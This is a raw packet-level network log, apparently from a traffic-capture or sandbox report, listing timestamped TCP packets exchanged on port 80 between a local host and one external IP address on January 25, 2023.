Jan 25, 2023 09:43:38.778129101 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778156996 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778156996 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778184891 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778198004 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778213024 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778240919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778253078 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778269053 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778299093 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778320074 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778326035 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778351068 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778371096 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778392076 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778394938 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778412104 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778423071 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778433084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778453112 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778453112 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778476000 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778491974 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778497934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778518915 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778537989 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778557062 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778558016 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778580904 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778582096 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778599977 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778620005 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778639078 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778644085 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778659105 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778662920 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778681040 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778706074 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778723955 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778750896 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778776884 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778800011 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778803110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778831005 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778832912 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778857946 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778884888 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778913021 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778918982 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778942108 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778942108 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778970003 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778997898 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779017925 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.779023886 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779033899 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.779052973 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779081106 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779103994 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.779108047 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779136896 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.779211044 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.802023888 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.802081108 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.828748941 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.828831911 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.828872919 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.828984022 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829040051 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829056978 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829174042 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829221010 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829236031 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829268932 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829319000 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829324007 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829391956 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829437971 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829438925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829484940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829530954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829575062 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829576969 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829622984 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829667091 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829668045 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829710007 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829714060 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829760075 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829849005 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829850912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829896927 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829941988 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.829942942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.829991102 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830034018 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830035925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830081940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830127954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830171108 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830173016 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830219030 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830261946 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830264091 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830305099 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830313921 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830360889 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830404043 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830406904 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830451965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830496073 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830497980 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830543995 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830588102 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830631018 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830632925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830682039 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830751896 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830816031 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830862999 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830867052 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830909967 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.830954075 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.830955029 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831001043 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831044912 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.831046104 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831091881 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831135035 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.831135988 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831182003 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831227064 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831269026 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.831273079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831321955 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831377029 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.831490993 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.831541061 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.831541061 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858000040 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858067989 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858115911 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858156919 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.858161926 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858197927 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.858211994 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858552933 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858608007 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858608961 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.858652115 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.858652115 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858731985 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.858778954 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.858781099 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.872462988 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.872534037 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.898992062 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899075031 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899153948 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899214983 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899271965 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899286985 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899349928 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899396896 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899408102 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899456978 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899513960 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899528980 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899580002 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899626017 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899638891 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899693012 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899749041 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899760008 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899823904 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899873972 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.899918079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.899990082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900058985 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900108099 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900111914 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900178909 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900226116 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900248051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900306940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900357962 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900358915 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900428057 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900480986 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900492907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900541067 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900587082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900588036 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900628090 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900634050 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900680065 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900724888 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900727987 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900772095 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900815010 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900816917 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900863886 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900909901 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.900949955 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.900958061 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901002884 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901047945 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901051044 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901093960 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901138067 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901139021 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901181936 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901185036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901230097 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901323080 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901333094 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901379108 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901422977 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901427984 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901467085 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901510954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901555061 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901559114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901598930 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901643038 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901649952 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901690960 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901757002 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901803970 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901850939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901859045 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.901896954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901943922 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.901989937 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902004957 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902035952 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902035952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902081966 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902127981 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902128935 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902174950 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902223110 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902224064 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902268887 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902318954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902364969 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902373075 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902410030 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902410984 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902457952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902504921 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902510881 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902550936 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902638912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902650118 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902684927 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902751923 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902751923 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902798891 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902843952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902903080 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902939081 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902951002 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.902995110 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.902997017 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903043985 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903090000 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903096914 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903136015 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903182030 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903192997 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903228998 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903229952 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903275013 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903323889 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903325081 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903369904 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903415918 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903415918 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903464079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903508902 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903512955 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903554916 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903600931 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903601885 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903647900 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903693914 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903695107 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903738976 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903784990 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903830051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.903858900 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903876066 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.903971910 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904016972 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904064894 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904119015 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.904123068 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904167891 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904215097 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904221058 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.904263020 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904309034 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904310942 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.904359102 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.904411077 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.930982113 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931042910 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931071997 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931227922 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931298971 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931369066 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931405067 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931437016 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931448936 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931515932 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931655884 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931662083 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931735039 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931778908 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931802034 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931873083 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931941986 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.931984901 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.931994915 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932060957 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.932135105 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932219982 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932285070 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.932302952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932427883 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932493925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932523966 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.932651043 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932703018 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932713985 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.932748079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932801962 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.932809114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.932935953 CET	80	49735	109.206.243.168	192.168.2.3
